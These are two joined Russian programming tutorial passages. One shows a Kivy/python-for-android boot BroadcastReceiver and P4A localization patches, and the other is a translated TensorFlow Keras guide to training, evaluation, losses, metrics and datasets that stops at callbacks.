Для начала понадобится разрешение RECEIVE\_BOOT\_COMPLETED — это просто. А затем — BroadcastReceiver, его придётся добавить в AndroidManifest вручную, но это тоже не проблема. Проблема в том, что в нём писать :)
Решение для запуска приложения (не сервиса) выглядит так:
```
package com.madhattersoft.guessthequote;
import android.content.BroadcastReceiver;
import android.content.Intent;
import android.content.Context;
import org.kivy.android.PythonActivity;
public class MyBroadcastReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Intent ix = new Intent(context, PythonActivity.class);
ix.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(ix);
}
}
```
Сначала я попытался просто переписать его для сервиса:
```
package com.madhattersoft.guessthequote;
import android.content.BroadcastReceiver;
import android.content.Intent;
import android.content.Context;
import com.madhattersoft.guessthequote.ServiceGuessthequoteservice;
public class MyBroadcastReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
Intent ix = new Intent(context, ServiceGuessthequoteservice.class);
ix.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(ix);
}
}
```
Ага, разогнался :)
```
E AndroidRuntime: java.lang.RuntimeException: Unable to start service com.madhattersoft.guessthequote.ServiceGuessthequoteservice@8c96929 with Intent { cmp=com.madhattersoft.guessthequote/.ServiceGuessthequoteservice }: java.lang.NullPointerException: Attempt to invoke virtual method 'java.lang.String android.os.Bundle.getString(java.lang.String)' on a null object reference
```
Думаю, вам уже понятно, что проблема в тех самых Extras. Мне же тогда об этом было узнать неоткуда. Но не буду тянуть, рабочий код выглядит так:
```
package import com.madhattersoft.guessthequote;
import android.content.BroadcastReceiver;
import android.content.Intent;
import android.content.Context;
import com.madhattersoft.guessthequote.ServiceGuessthequoteservice;
public class MyBroadcastReceiver extends BroadcastReceiver {
public void onReceive(Context context, Intent intent) {
String package_root = context.getFilesDir().getAbsolutePath();
String app_root = package_root + "/app";
Intent ix = new Intent(context, ServiceGuessthequoteservice.class);
ix.putExtra("androidPrivate", package_root);
ix.putExtra("androidArgument", app_root);
ix.putExtra("serviceEntrypoint", "./service/main.py");
ix.putExtra("pythonName", "guessthequoteservice");
ix.putExtra("pythonHome", app_root);
ix.putExtra("pythonPath", package_root);
ix.putExtra("pythonServiceArgument", app_root+":"+app_root+"/lib");
ix.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startService(ix);
}
}
```
Фух :)
### Локализация и мультиязычность
В целом, для локализации можно использовать [gettext](https://docs.python.org/2/library/gettext.html), или же поступить ещё проще — создать папку lang, в ней по файлу на каждый язык (например, en.py и ru.py), определить там все слова и фразы в виде переменных/констант, и далее подключить нужный модуль. Примерно так:
```
if autoclass('java.util.Locale').getDefault().getLanguage() in ('ru', 'uk', 'be'):
import lang.ru as lang
else:
import lang.en as lang
GuessTheQuote.lang = lang
```
Статическая переменная использована для того, чтобы языковые константы было удобно использовать в kv-файле:
```
app.lang.some_phrase
```
Это, в общем-то, довольно тривиально, а основное, о чём я хотел рассказать в аспекте локализации — как задать константы в res/values/strings.xml и отдельных локализациях. Зачем это нужно? Как минимум, чтобы задать название приложения на разных языках, а также чтобы прописать такие константы, как app\_id для сервисов Google Play и facebook\_app\_id для сервисов Facebook.
По-умолчанию P4A генерирует strings.xml следующего содержания:
```
xml version="1.0" encoding="utf-8"?
Guess The Quote
1517538478.81
#2EBCB2
kivy
```
При этом название приложения и цвет фона экрана загрузки можно задать в buildozer.spec. На первый взгляд, этого достаточно, но это только в том случае, если приложение одноязычное, и дополнительные строковые константы не нужны, а это как-то минималистично :) Конечно, никто не запрещает вручную прописать всё необходимое, но при следующей сборке оно затрётся. Также можно вручную создать папки с локализациями, например, values-ru, но они при новых сборках они не будут обновляться. Поэтому лучше ещё раз подправить P4A, а именно, файл .buildozer/android/platform/build/dists/guessthequote/build.py следующим образом:
```
# оригинальный код, в текущей версии P4A начинается на строке 370
render(
'strings.tmpl.xml',
'res/values/strings.xml',
args=args,
url_scheme=url_scheme,
)
# заменяем на усовершенствованный :)
local_args = {'be': argparse.Namespace(**vars(args)), 'ru': argparse.Namespace(**vars(args)), 'uk': argparse.Namespace(**vars(args))}
for key in local_args:
local_args[key].name = u'Угадай цитату!' # ну захардкодил, да, ну не готов я пока сделать свой форк P4A и buildozer, чтобы сделать это через передачу параметра
for i in os.listdir('res'):
if i[:6] == 'values':
render(
'strings.tmpl.xml',
'res/'+i+'/strings.xml',
args=(args if i == 'values' else local_args[i[7:10]]),
url_scheme=url_scheme,
)
# и ещё один фрагмент, в текущей версии P4A начиная со строки 388
with open(join(dirname(__file__), 'res',
'values', 'strings.xml')) as fileh:
lines = fileh.read()
with open(join(dirname(__file__), 'res',
'values', 'strings.xml'), 'w') as fileh:
fileh.write(re.sub(r'"private_version">[0-9\.]*<',
'"private_version">{}<'.format(
str(time.time())), lines))
# тоже заменяем на аналогичный в цикле
for i in os.listdir('res'):
if i[:6] == 'values':
with open(join(dirname(__file__), 'res',
i, 'strings.xml')) as fileh:
lines = fileh.read()
with open(join(dirname(__file__), 'res',
i, 'strings.xml'), 'w') as fileh:
fileh.write(re.sub(r'"private_version">[0-9\.]*<',
'"private_version">{}<'.format(
str(time.time())), lines))
```
Ну а все необходимые вам строковые константы нужно прописать в файле .buildozer/android/platform/build/dists/guessthequote/templates/strings.tmpl.xml
### Продолжение следует
Если статья покажется сообществу интересной, во второй части я опишу самые интересные вещи: покупки в приложении, интеграцию сервисов Google Play Games и Facebook SDK, и подготовку release version с последующей публикацией в Google Play, а также подготовлю проект на Github с модулями для реализации описанных задач. Если вам интересны ещё какие-то подробности — напишите в комментариях, постараюсь по возможности осветить. | https://habr.com/ru/post/348226/ | null | ru | null |
# Обучение и оценка модели с Keras
Это руководство охватывает обучение, оценку и прогнозирование (выводы) моделей в TensorFlow 2.0 в двух общих ситуациях:
* При использовании встроенных API для обучения и валидации (таких как `model.fit()`, `model.evaluate()`, `model.predict()`). Этому посвящен раздел **«Использование встроенных циклов обучения и оценки»**
* При написании кастомных циклов с нуля с использованием eager execution и объекта `GradientTape`. Эти вопросы рассматриваются в разделе **«Написание собственных циклов обучения и оценки с нуля»**.
В целом, независимо от того, используете ли вы встроенные циклы или пишете свои собственные, обучение и оценка моделей работает строго одинаково для всех видов моделей Keras: Sequential моделей, созданных с помощью Functional API, и написанных с нуля с использованием субклассирования.
Установка
---------
```
from __future__ import absolute_import, division, print_function, unicode_literals
import tensorflow as tf
tf.keras.backend.clear_session() # # Для простого сброса состояния ноутбука.
```
Часть I: Использование встроенных циклов обучения и оценки
----------------------------------------------------------
При передаче данных во встроенные циклы обучения модели вы должны использовать **массивы Numpy** (если ваши данные малы и умещаются в памяти), либо объекты **Dataset tf.data**. В следующих нескольких параграфах мы будем использовать набор данных MNIST в качестве массива Numpy, чтобы показать, как использовать оптимизаторы, функции потерь и метрики.
### Обзор API: первый полный пример
Давайте рассмотрим следующую модель (будем строим ее с помощью Functional API, но она может быть и Sequential или субклассированной моделью):
```
from tensorflow import keras
from tensorflow.keras import layers
inputs = keras.Input(shape=(784,), name='digits')
x = layers.Dense(64, activation='relu', name='dense_1')(inputs)
x = layers.Dense(64, activation='relu', name='dense_2')(x)
outputs = layers.Dense(10, activation='softmax', name='predictions')(x)
model = keras.Model(inputs=inputs, outputs=outputs)
```
Вот как выглядит типичный полный процесс работы, состоящий из обучения, проверки на отложенных данных, сгенерированных из исходных данных обучения, и, наконец, оценки на тестовых данных:
```
# Загрузим учебный датасет для этого примера
(x_train, y_train), (x_test, y_test) = keras.datasets.mnist.load_data()
# Предобработаем данные (это массивы Numpy)
x_train = x_train.reshape(60000, 784).astype('float32') / 255
x_test = x_test.reshape(10000, 784).astype('float32') / 255
y_train = y_train.astype('float32')
y_test = y_test.astype('float32')
# Зарезервируем 10,000 примеров для валидации
x_val = x_train[-10000:]
y_val = y_train[-10000:]
x_train = x_train[:-10000]
y_train = y_train[:-10000]
# Укажем конфигурацию обучения (оптимизатор, функция потерь, метрики)
model.compile(optimizer=keras.optimizers.RMSprop(), # Optimizer
# Минимизируемая функция потерь
loss=keras.losses.SparseCategoricalCrossentropy(),
# Список метрик для мониторинга
metrics=[keras.metrics.SparseCategoricalAccuracy()])
# Обучим модель разбив данные на "пакеты"
# размером "batch_size", и последовательно итерируя
# весь датасет заданное количество "эпох"
print('# Обучаем модель на тестовых данных')
history = model.fit(x_train, y_train,
batch_size=64,
epochs=3,
# Мы передаем валидационные данные для
# мониторинга потерь и метрик на этих данных
# в конце каждой эпохи
validation_data=(x_val, y_val))
# Возвращаемый объект "history" содержит записи
# значений потерь и метрик во время обучения
print('\nhistory dict:', history.history)
# Оценим модель на тестовых данных, используя "evaluate"
print('\n# Оцениваем на тестовых данных')
results = model.evaluate(x_test, y_test, batch_size=128)
print('test loss, test acc:', results)
# Сгенерируем прогнозы (вероятности - выходные данные последнего слоя)
# на новых данных с помощью "predict"
print('\n# Генерируем прогнозы для 3 образцов')
predictions = model.predict(x_test[:3])
print('размерность прогнозов:', predictions.shape)
```
### Определение потерь, метрик и оптимизатора
Для обучения модели с помощью `fit`, вам нужно задать функцию потерь, оптимизатор, и опционально, некоторые метрики для мониторинга.
Вам нужно передать их в модель в качестве аргументов метода `compile()`:
```
model.compile(optimizer=keras.optimizers.RMSprop(learning_rate=1e-3),
loss=keras.losses.SparseCategoricalCrossentropy(),
metrics=[keras.metrics.SparseCategoricalAccuracy()])
```
Аргумент `metrics` задается в виде списка — ваша модель может иметь любое количество метрик.
Если у вашей модели несколько выходов, вы можете задать различные метрики и функции потерь для каждого выхода и регулировать вклад каждого выхода в общее значение потерь модели.
Обратите внимание, что часто функции потерь и метрики задаются с помощью строковых идентификаторов:
```
model.compile(optimizer=keras.optimizers.RMSprop(learning_rate=1e-3),
loss='sparse_categorical_crossentropy',
metrics=['sparse_categorical_accuracy'])
```
Для последующего переиспользования поместим определение нашей модели и шаг компиляции в функции; мы будем вызывать их несколько раз в разных примерах этого руководства.
```
def get_uncompiled_model():
inputs = keras.Input(shape=(784,), name='digits')
x = layers.Dense(64, activation='relu', name='dense_1')(inputs)
x = layers.Dense(64, activation='relu', name='dense_2')(x)
outputs = layers.Dense(10, activation='softmax', name='predictions')(x)
model = keras.Model(inputs=inputs, outputs=outputs)
return model
def get_compiled_model():
model = get_uncompiled_model()
model.compile(optimizer=keras.optimizers.RMSprop(learning_rate=1e-3),
loss='sparse_categorical_crossentropy',
metrics=['sparse_categorical_accuracy'])
return model
```
#### Вам доступно множество встроенных оптимизаторов, функций потерь и метрик
Как правило, вам не нужно создавать с нуля собственные функции потерь, метрики, или оптимизаторы, поскольку то, что вам нужно, скорее всего, уже является частью Keras API:
Оптимизаторы:
* `SGD()` (с или без momentum)
* `RMSprop()`
* `Adam()`
* и т.д.
Функции потерь:
* `MeanSquaredError()`
* `KLDivergence()`
* `CosineSimilarity()`
* и т.д.
Метрики:
* `AUC()`
* `Precision()`
* `Recall()`
* и т.д.
#### Кастомные функции потерь
Есть два способа получения кастомных функций потерь с Keras. В примере создается функция принимающая на вход `y_true` и `y_pred`, и вычисляющаю среднее расстояние между реальными данными и прогнозами:
```
def basic_loss_function(y_true, y_pred):
return tf.math.reduce_mean(y_true - y_pred)
model.compile(optimizer=keras.optimizers.Adam(),
loss=basic_loss_function)
model.fit(x_train, y_train, batch_size=64, epochs=3)
```
Если вам нужна функция потерь у которой есть иные параметры кроме `y_true` и `y_pred`, вы можете субклассировать класс `tf.keras.losses.Loss` и реализовать следующие два метода:
* `__init__(self)` — чтобы принять параметры, передаваемые при вызове вашей функции потерь
* `call(self, y_true, y_pred)` — чтобы использовать ответы (`y_true`) и предсказания модели (`y_pred`) для вычисления потерь модели
Параметры передаваемые в `__init__()` могут быть использованы во время `call()` при вычислении потерь.
Следующий пример показывает как реализовать функцию потерь `WeightedCrossEntropy` которая вычисляет `BinaryCrossEntropy`, где потери конкретного класса или всей функции могут быть модифицированы при помощи скаляра.
```
class WeightedBinaryCrossEntropy(keras.losses.Loss):
"""
Args:
pos_weight: Скалярный вес для положительных меток функции потерь.
weight: Скалярный вес для всей функции потерь.
from_logits: Вычислять ли потери от логитов или вероятностей.
reduction: Тип tf.keras.losses.Reduction для применения к функции потерь.
name: Имя функции потерь.
"""
def __init__(self, pos_weight, weight, from_logits=False,
reduction=keras.losses.Reduction.AUTO,
name='weighted_binary_crossentropy'):
super(WeightedBinaryCrossEntropy, self).__init__(reduction=reduction,
name=name)
self.pos_weight = pos_weight
self.weight = weight
self.from_logits = from_logits
def call(self, y_true, y_pred):
if not self.from_logits:
# Вручную посчитаем взвешенную кросс-энтропию.
# Формула следующая qz * -log(sigmoid(x)) + (1 - z) * -log(1 - sigmoid(x))
# где z - метки, x - логиты, а q - веса.
# Поскольку переданные значения от сигмоиды (предположим в этом случае)
# sigmoid(x) будет заменено на y_pred
# qz * -log(sigmoid(x)) 1e-6 добавляется как эпсилон, чтобы не передать нуль в логарифм
x_1 = y_true * self.pos_weight * -tf.math.log(y_pred + 1e-6)
# (1 - z) * -log(1 - sigmoid(x)). Добавляем эпсилон, чтобы не пропустить нуль в логарифм
x_2 = (1 - y_true) * -tf.math.log(1 - y_pred + 1e-6)
return tf.add(x_1, x_2) * self.weight
# Используем встроенную функцию
return tf.nn.weighted_cross_entropy_with_logits(y_true, y_pred, self.pos_weight) * self.weight
model.compile(optimizer=keras.optimizers.Adam(),
loss=WeightedBinaryCrossEntropy(0.5, 2))
model.fit(x_train, y_train, batch_size=64, epochs=3)
```
#### Кастомные метрики
Если вам нужны метрики не являющиеся частью API, вы можете легко создать кастомные метрики субклассировав класс `Metric`. Вам нужно реализовать 4 метода:
* `__init__(self)`, в котором вы создадите переменные состояния для своей метрики.
* `update_state(self, y_true, y_pred, sample_weight=None)`, который использует ответы `y_true` и предсказания модели `y_pred` для обновления переменных состояния.
* `result(self)`, использующий переменные состояния для вычисления конечного результата.
* `reset_states(self)`, который переинициализирует состояние метрики.
Обновление состояния и вычисление результатов хранятся отдельно (в `update_state()` и `result()` соответственно), потому что в некоторых случаях вычисление результатов может быть очень дорогим и будет выполняться только периодически.
Вот простой пример, показывающий, как реализовать метрику `CategoricalTruePositives`, которая считает сколько элементов были правильно классифицированы, как принадлежащие к данному классу:
```
class CategoricalTruePositives(keras.metrics.Metric):
def __init__(self, name='categorical_true_positives', **kwargs):
super(CategoricalTruePositives, self).__init__(name=name, **kwargs)
self.true_positives = self.add_weight(name='tp', initializer='zeros')
def update_state(self, y_true, y_pred, sample_weight=None):
y_pred = tf.reshape(tf.argmax(y_pred, axis=1), shape=(-1, 1))
values = tf.cast(y_true, 'int32') == tf.cast(y_pred, 'int32')
values = tf.cast(values, 'float32')
if sample_weight is not None:
sample_weight = tf.cast(sample_weight, 'float32')
values = tf.multiply(values, sample_weight)
self.true_positives.assign_add(tf.reduce_sum(values))
def result(self):
return self.true_positives
def reset_states(self):
# Состояние метрики будет сброшено в начале каждой эпохи.
self.true_positives.assign(0.)
model.compile(optimizer=keras.optimizers.RMSprop(learning_rate=1e-3),
loss=keras.losses.SparseCategoricalCrossentropy(),
metrics=[CategoricalTruePositives()])
model.fit(x_train, y_train,
batch_size=64,
epochs=3)
```
#### Обработка функций потерь и метрик, не соответствующих стандартной сигнатуре
Подавляющее большинство потерь и метрик может быть вычислено из `y_true` и `y_pred`, где `y_pred` — вывод вашей модели. Но не все. Например, потери регуляризации могут требовать только активацию слоя (в этом случае нет целевых значений), и эта активация может не являться выходом модели.
В таких случаях вы можете вызвать `self.add_loss(loss_value)` из метода `call` кастомного слоя. Вот простой пример, который добавляет регуляризацию активности (отметим что регуляризация активности встроена во все слои Keras — этот слой используется только для приведения конкретного примера):
```
class ActivityRegularizationLayer(layers.Layer):
def call(self, inputs):
self.add_loss(tf.reduce_sum(inputs) * 0.1)
return inputs # Pass-through layer.
inputs = keras.Input(shape=(784,), name='digits')
x = layers.Dense(64, activation='relu', name='dense_1')(inputs)
# Вставим регуляризацию активности в качестве слоя
x = ActivityRegularizationLayer()(x)
x = layers.Dense(64, activation='relu', name='dense_2')(x)
outputs = layers.Dense(10, activation='softmax', name='predictions')(x)
model = keras.Model(inputs=inputs, outputs=outputs)
model.compile(optimizer=keras.optimizers.RMSprop(learning_rate=1e-3),
loss='sparse_categorical_crossentropy')
# Полученные потери будут намного больше чем раньше
# из-за компонента регуляризации.
model.fit(x_train, y_train,
batch_size=64,
epochs=1)
```
Вы можете сделать то же самое для логирования значений метрик:
```
class MetricLoggingLayer(layers.Layer):
def call(self, inputs):
# Аргумент `aggregation` определяет
# как аггрегировать попакетные значения
# в каждой эпохе:
# в этом случае мы просто усредняем их.
self.add_metric(keras.backend.std(inputs),
name='std_of_activation',
aggregation='mean')
return inputs # Проходной слой.
inputs = keras.Input(shape=(784,), name='digits')
x = layers.Dense(64, activation='relu', name='dense_1')(inputs)
# Вставка логирования std в качестве слоя.
x = MetricLoggingLayer()(x)
x = layers.Dense(64, activation='relu', name='dense_2')(x)
outputs = layers.Dense(10, activation='softmax', name='predictions')(x)
model = keras.Model(inputs=inputs, outputs=outputs)
model.compile(optimizer=keras.optimizers.RMSprop(learning_rate=1e-3),
loss='sparse_categorical_crossentropy')
model.fit(x_train, y_train,
batch_size=64,
epochs=1)
```
В Functional API, вы можете также вызвать `model.add_loss(loss_tensor)`, или `model.add_metric(metric_tensor, name, aggregation)`.
Вот простой пример:
```
inputs = keras.Input(shape=(784,), name='digits')
x1 = layers.Dense(64, activation='relu', name='dense_1')(inputs)
x2 = layers.Dense(64, activation='relu', name='dense_2')(x1)
outputs = layers.Dense(10, activation='softmax', name='predictions')(x2)
model = keras.Model(inputs=inputs, outputs=outputs)
model.add_loss(tf.reduce_sum(x1) * 0.1)
model.add_metric(keras.backend.std(x1),
name='std_of_activation',
aggregation='mean')
model.compile(optimizer=keras.optimizers.RMSprop(1e-3),
loss='sparse_categorical_crossentropy')
model.fit(x_train, y_train,
batch_size=64,
epochs=1)
```
#### Автоматическое выделение валидационного отложенного множества
В первом полном примере, как вы видели, мы использовали аргумент `validation_data` для передачи кортежа массивов Numpy `(x_val, y_val)` в модель для оценки валидационных потерь и метрик в конце каждой эпохи.
Вот другая опция: аргумент `validation_split` позволяет вам автоматически зарезервировать часть ваших тренировочных данных для валидации. Значением аргумента является доля данных, которые должны быть зарезервированы для валидации, поэтому значение должно быть больше 0 и меньше 1. Например, `validation_split=0.2` значит «используйте 20% данных для валидации», а `validation_split=0.6` значит «используйте 60% данных для валидации».
Валидация вычисляется *взятием последних x% записей массивов полученных вызовом* `fit`, *перед любым перемешиванием*.
Вы можете использовать `validation_split` только когда обучаете модель данными Numpy.
```
model = get_compiled_model()
model.fit(x_train, y_train, batch_size=64, validation_split=0.2, epochs=1, steps_per_epoch=1)
```
### Обучение и оценка с tf.data Dataset
В последних нескольких параграфах вы видели, как обрабатывать потери, метрики и оптимизаторы, и посмотрели, как использовать аргументы `validation_data` и `validation_split` в `fit`, когда ваши данные передаются в виде массивов Numpy.
Давайте теперь рассмотрим случай, когда ваши данные поступают в форме Dataset tf.data.
tf.data API это набор утилит в TensorFlow 2.0 для загрузки и предобработки данных быстрым и масштабируемым способом.
Вы можете передать экземпляр Dataset напрямую в методы `fit()`, `evaluate()` и `predict()`:
```
model = get_compiled_model()
# Сперва давайте создадим экземпляр тренировочного Dataset.
# Для нашего примера мы будем использовать те же данные MNIST что и ранее.
train_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))
# Перемешаем и нарежем набор данных.
train_dataset = train_dataset.shuffle(buffer_size=1024).batch(64)
# Сейчас получим тестовый датасет.
test_dataset = tf.data.Dataset.from_tensor_slices((x_test, y_test))
test_dataset = test_dataset.batch(64)
# Поскольку датасет уже позаботился о разбивке на пакеты,
# мы не передаем аргумент `batch_size`.
model.fit(train_dataset, epochs=3)
# Вы можете также оценить модель или сделать прогнозы на датасете.
print('\n# Оценка')
model.evaluate(test_dataset)
```
Заметьте, что Dataset сбрасывается в конце каждой эпохи, поэтому он может быть переиспользован в следующей эпохе.
Если вы хотите учиться только на определенном количестве пакетов из этого Dataset, вы можете передать аргумент `steps\_per\_epoch`, который указывает, сколько шагов обучения должна выполнить модель, используя этот Dataset, прежде чем перейти к следующей эпохе.
В этом случае датасет не будет сброшен в конце каждой эпохи, вместо этого мы просто продолжим обрабатывать следующие пакеты. В датасете в конечном счете могут закончиться данные (если только это не зацикленный бесконечно датасет).
```
model = get_compiled_model()
# Подготовка учебного датасета
train_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))
train_dataset = train_dataset.shuffle(buffer_size=1024).batch(64)
# Использовать только 100 пакетов за эпоху (это 64 * 100 примеров)
model.fit(train_dataset.take(100), epochs=3)
```
#### Использование валидационного датасета
Вы можете передать экземпляр Dataset как аргумент `validation_data` в `fit`:
```
model = get_compiled_model()
# Подготовим учебный датасет
train_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))
train_dataset = train_dataset.shuffle(buffer_size=1024).batch(64)
# Подготовим валидационный датасет
val_dataset = tf.data.Dataset.from_tensor_slices((x_val, y_val))
val_dataset = val_dataset.batch(64)
model.fit(train_dataset, epochs=3, validation_data=val_dataset)
```
В конце каждой эпохи модель будет проходить по валидационному Dataset и вычислять потери и метрики на валидации.
Если вы хотите запустить проверку только на определенном количестве пакетов из этого Dataset, вы можете передать аргумент `validation_steps`, который указывает, сколько шагов валидации должна выполнить модель до прерывания валидации и перехода к следующей эпохе:
```
model = get_compiled_model()
# Подготовка тренировочных данных
train_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))
train_dataset = train_dataset.shuffle(buffer_size=1024).batch(64)
# Подготовка валидационных данных
val_dataset = tf.data.Dataset.from_tensor_slices((x_val, y_val))
val_dataset = val_dataset.batch(64)
model.fit(train_dataset, epochs=3,
# Запускаем валидацию только на первых 10 пакетах датасета
# используя аргумент `validation_steps`
validation_data=val_dataset, validation_steps=10)
```
Обратите внимание, что валидационный Dataset будет сбрасываться после каждого использования (так что вы всегда будете получать оценку на одних и тех же примерах от эпохи к эпохе).
Аргумент `validation_split` (генерирующий отложенную выборку из тренировочных данных) не поддерживается при обучении на объектах Dataset, поскольку для этого требуется возможность индексирования элементов, что в общем невозможно в Dataset API.
### Другие поддерживаемые форматы входных данных
Кроме массивов Numpy и TensorFlow Dataset-ов, можно обучить модель Keras с использованием датафрейма Pandas, или с генераторами Python которые выдают значения пакетами.
В общем, мы рекомендуем вам использовать входные данные Numpy если их количество невелико и помещается в памяти, и Dataset-ы в других случаях.
### Использование весов для примеров и классов
Кроме входных данных и меток модели можно передавать веса примеров и веса классов при использовании `fit`:
* При обучении на данных Numpy: с помощью аргументов `sample\_weight` и `class\_weight`.
* При обучении на Dataset-ах: если Dataset вернет кортеж `(input\_batch, target\_batch, sample\_weight\_batch)` .
Массив «sample weights» это массив чисел которые определяют какой вес придать каждому элементу в пакете при вычислении значения потерь. Это свойство обычно используется в несбалансированных задачах классификации (суть в том, чтобы придать больший вес редко встречающимся классам). Когда используемые веса равны единицам и нулям, массив можно использовать в качестве *маски* для функции потерь (полностью исключая вклад определенных элементов в общее значение потерь).
Словарь «class weights» является более специфичным экземпляром той же концепции: он сопоставляет индексам классов веса которые должны быть использованы для элементов принадлежащих этому классу. Например, если класс «0» представлен втрое меньше чем класс «1» в ваших данных, вы можете использовать `class_weight={0: 1., 1: 0.5}`.
Вот примеры Numpy весов классов и весов элементов позволяющих придать большее значение корректной классификации класса #5 (соответствующий цифре «5» в датасете MNIST).
```
import numpy as np
class_weight = {0: 1., 1: 1., 2: 1., 3: 1., 4: 1.,
# Установим вес "2" для класса "5",
# сделав этот класс в 2x раз важнее
5: 2.,
6: 1., 7: 1., 8: 1., 9: 1.}
print('Обучение с весом класса')
model.fit(x_train, y_train,
class_weight=class_weight,
batch_size=64,
epochs=4)
# Вот тот же пример использующий `sample_weight`:
sample_weight = np.ones(shape=(len(y_train),))
sample_weight[y_train == 5] = 2.
print('\nОбучение с весом класса')
model = get_compiled_model()
model.fit(x_train, y_train,
sample_weight=sample_weight,
batch_size=64,
epochs=4)
```
Вот соответствующий Dataset пример:
```
sample_weight = np.ones(shape=(len(y_train),))
sample_weight[y_train == 5] = 2.
# Создадим Dataset включающий веса элементов
# (3-тий элемент в возвращаемом кортеже).
train_dataset = tf.data.Dataset.from_tensor_slices(
(x_train, y_train, sample_weight))
# Перемешаем и нарежем датасет.
train_dataset = train_dataset.shuffle(buffer_size=1024).batch(64)
model = get_compiled_model()
model.fit(train_dataset, epochs=3)
```
### Передача данных в модели с несколькими входами и выходами
В предыдущих примерах, мы рассматривали модель с единственным входом (тензор размера `(764,)`) и одним выходом (тензор прогнозов размера `(10,)`). Но как насчет моделей, у которых есть несколько входов или выходов?
Рассмотрим следующую модель, в которой на входными данными являются изображения размера `(32, 32, 3)` (это `(height, width, channels)`) и временные ряды размера `(None, 10)` (это `(timesteps, features)`). У нашей модели будет два выхода вычисленных из комбинации этих входов: «score» (размерности `(1,)`) и вероятностное распределение по пяти классам (размерности `(5,)`).
```
from tensorflow import keras
from tensorflow.keras import layers
image_input = keras.Input(shape=(32, 32, 3), name='img_input')
timeseries_input = keras.Input(shape=(None, 10), name='ts_input')
x1 = layers.Conv2D(3, 3)(image_input)
x1 = layers.GlobalMaxPooling2D()(x1)
x2 = layers.Conv1D(3, 3)(timeseries_input)
x2 = layers.GlobalMaxPooling1D()(x2)
x = layers.concatenate([x1, x2])
score_output = layers.Dense(1, name='score_output')(x)
class_output = layers.Dense(5, activation='softmax', name='class_output')(x)
model = keras.Model(inputs=[image_input, timeseries_input],
outputs=[score_output, class_output])
```
Давайте начертим эту модель, чтобы вы ясно увидели что мы здесь делаем (заметьте что размерности, которые вы видите на схеме это размерности пакетов, а не поэлементные размерности).
```
keras.utils.plot_model(model, 'multi_input_and_output_model.png', show_shapes=True)
```
Во время компиляции мы можем указать разные функции потерь для разных выходов, передав функции потерь в виде списка:
```
model.compile(
optimizer=keras.optimizers.RMSprop(1e-3),
loss=[keras.losses.MeanSquaredError(),
keras.losses.CategoricalCrossentropy()])
```
Если мы передаем только одну функцию потерь модели, она будет применена к каждому выходу, что здесь не подходит.
Аналогично для метрик:
```
model.compile(
optimizer=keras.optimizers.RMSprop(1e-3),
loss=[keras.losses.MeanSquaredError(),
keras.losses.CategoricalCrossentropy()],
metrics=[[keras.metrics.MeanAbsolutePercentageError(),
keras.metrics.MeanAbsoluteError()],
[keras.metrics.CategoricalAccuracy()]])
```
Так как мы дали имена нашим выходным слоям, мы могли бы также указать функции потерь и метрики для каждого выхода в dict:
```
model.compile(
optimizer=keras.optimizers.RMSprop(1e-3),
loss={'score_output': keras.losses.MeanSquaredError(),
'class_output': keras.losses.CategoricalCrossentropy()},
metrics={'score_output': [keras.metrics.MeanAbsolutePercentageError(),
keras.metrics.MeanAbsoluteError()],
'class_output': [keras.metrics.CategoricalAccuracy()]})
```
Мы рекомендуем использовать имена и словари если у вас более 2 выходов.
Имеется возможность присвоить разные веса разным функциям потерь (например, в нашем примере мы можем захотеть отдать предпочтение потере «score», увеличив в 2 раза важность потери класса), используя аргумент `loss_weights`:
```
model.compile(
optimizer=keras.optimizers.RMSprop(1e-3),
loss={'score_output': keras.losses.MeanSquaredError(),
'class_output': keras.losses.CategoricalCrossentropy()},
metrics={'score_output': [keras.metrics.MeanAbsolutePercentageError(),
keras.metrics.MeanAbsoluteError()],
'class_output': [keras.metrics.CategoricalAccuracy()]},
loss_weights={'score_output': 2., 'class_output': 1.})
```
Вы можете также не вычислять потери для некоторых выходов, если эти выходы предполагаются только для прогнозирования, но не для обучения:
```
# Функции потерь списком
model.compile(
optimizer=keras.optimizers.RMSprop(1e-3),
loss=[None, keras.losses.CategoricalCrossentropy()])
# Функции потерь словарем
model.compile(
optimizer=keras.optimizers.RMSprop(1e-3),
loss={'class_output': keras.losses.CategoricalCrossentropy()})
```
Передача данных в модель с несколькими входами и выходами в `fit` происходит аналогично определению функции потерь в `compile`: вы можете передать *списки массивов Numpy (совпадающие 1:1 с выходами на которых есть функции потерь)* или *словари сопоставляющие имена выходов массивам Numpy тренировочных данных*.
```
model.compile(
optimizer=keras.optimizers.RMSprop(1e-3),
loss=[keras.losses.MeanSquaredError(),
keras.losses.CategoricalCrossentropy()])
# Сгенерируем случайные Numpy данные
img_data = np.random.random_sample(size=(100, 32, 32, 3))
ts_data = np.random.random_sample(size=(100, 20, 10))
score_targets = np.random.random_sample(size=(100, 1))
class_targets = np.random.random_sample(size=(100, 5))
# Передаем данные в модель в виде списка
model.fit([img_data, ts_data], [score_targets, class_targets],
batch_size=32,
epochs=3)
# Передаем данные в модель в виде словаря
model.fit({'img_input': img_data, 'ts_input': ts_data},
{'score_output': score_targets, 'class_output': class_targets},
batch_size=32,
epochs=3)
```
Ниже пример для Dataset: аналогично массивам Numpy, Dataset должен возвращать кортеж словарей.
```
train_dataset = tf.data.Dataset.from_tensor_slices(
({'img_input': img_data, 'ts_input': ts_data},
{'score_output': score_targets, 'class_output': class_targets}))
train_dataset = train_dataset.shuffle(buffer_size=1024).batch(64)
model.fit(train_dataset, epochs=3)
```
### Использование колбеков
Колбеки в Keras это объекты которые вызываются в разных местах во время обучения (в начале эпохи, в конце пакета, в конце эпохи, и т.д.) и которые могут быть использованы для реализации такого поведения, как:
Выполнение валидации в различных точках во время обучения (кроме встроенной валидации в конце каждой эпохи)
* Установление контрольных точек модели через регулярные интервалы или когда она превышает определенный порог точности
* Изменение скорости обучения модели, когда кажется что обучение перестает сходиться
* Тонкая настройка верхних слоев, когда кажется что обучение перестает сходиться
* Отправка электронных писем или сообщений, когда обучение заканчивается или когда превышен определенный порог производительности
* и т.д.
Колбеки могут переданы списком при вызове `fit`:
```
model = get_compiled_model()
